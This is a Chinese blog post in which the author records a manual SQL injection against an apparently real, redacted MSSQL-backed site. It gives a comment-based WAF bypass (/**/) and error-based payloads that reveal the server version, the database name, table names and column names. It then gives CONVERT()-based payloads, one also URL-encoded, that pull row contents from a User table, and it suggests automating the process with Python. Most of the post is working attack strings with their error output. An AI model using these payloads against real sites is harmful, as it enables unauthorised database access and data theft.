记一次mssql手工注入

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/ZZZJX7/article/details/79815516

记一次mssql手工注入

记录一次mssql注入的过程,很多都是久的知识,大家当温故而知新吧。

xxxx/xxx?nIDX=122‘
注入报错,直接sqlmap跑,但有waf拦截;
只能进行fuzz了,发现select 和 from之间用/**/就可以绕过。
(1)首先查看版本号:
由于是数字型的报错,不用闭合单引号。直接@@version先查看版本号:

Microsoft OLE DB Provider for SQL Server ���� '80040e07'
nvarchar �� 'Microsoft SQL Server 2008 R2 (SP3) - 10.50.6000.34 (X64) Aug 19 2014 12:21:34 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) '��(��) ������ ���� int(��)�� ��ȯ���� ���߽��ϴ�.

(2)当前数据库:
xxxx/xxx?nIDX=db_name()

Microsoft OLE DB Provider for SQL Server ���� '80040e07'
nvarchar �� 'lxxxo'��(��) ������ ���� int(��)�� ��ȯ���� ���߽��ϴ�.

小技巧:
可以利用xxxx/xxx?nIDX=db_name(1),xxxx/xxx?nIDX=db_name(2),不停地遍历db_name()里面的内容,这过程可以放到burp里面跑,然后正则抓取关键爆错的数据库。

(3)获取数据库之后,查看表的数据,但这过程中不能出现单引号;
利用报错注入爆数据表,在注入的过程中,发现用and进行注入时候不成功,只能用or,但其实or在注入的工程是很危险的,在sqlmap中设置危险等级比较高才能够会出现,假如出问题的语句如下,就很危险:DELETE FROM test.users WHERE id=2 or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>1

爆数据库第一个/**/or 1 = (SELECT TOP 1 table_name/**/FROM information_schema.tables)--里写图片描述
这里写图片描述

爆其他数据表,用以下语句,不断地遍历top后面的数字可以查询表的/**/or 1 = (SELECT TOP 1 table_name/**/FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 11 table_name/**/FROM information_schema.columns))--获取字段名,跟上面的语句差不多,但要修改table_name为column_name,第一个/**/or 1 = (SELECT TOP 1 column_name/**/FROM information_schema.columns)--里写图片描述
这里写图片描述

其他的字段/**/or 1 = (SELECT TOP 1 column_name/**/FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1232 column_name/**/FROM information_schema.columns))--利用报错语句获得了表名和列名字,但是不知道哪个字段对应哪个表,可以利用以下语句:当User表存在字段id的时候,会返回正确,错误会报错,这就有助于甄别哪个是正确的表/**/and%20exists(select%20id/**/from%20User)--获取表里面的内容,当想继续利用爆表和爆字段的语句进行报错注入的时候,可能不成功了,也是单引号不能用,但可以利用convert()函数的高级显错特性:
获取id第一个内容,但以下语句要urlenco/**/or/**/1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 id/**/FROM User)+CHAR(58)+CHAR(58)))-- %2a%2a%2for%2f%2a%2a%2f1%3DCONVERT%28INT%2C%28CHAR%2858%29%2bCHAR%2858%29%2b%28SELECT%20top%201%20id%2f%2a%2a%2fFROM%20User%29%2bCHAR%2858%29%2bCHAR%2858%29%29%29–%20

继续爆表的其他内容:(遍历top后面的数字,也是需要进行url加密才可继续注入)

/**/or/**/1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT TOP 1 id/**/FROM User WHERE id NOT IN(SELECT TOP 1232 id/**/FROM User))+CHAR(58)+CHAR(58)))-- 

报错信息如下,payload已经可以利用,接下来可以利用python把整个过程自动化。
这里写图片描述
做一个笔记,方便以后查看。

猜你喜欢

转载自blog.csdn.net/ZZZJX7/article/details/79815516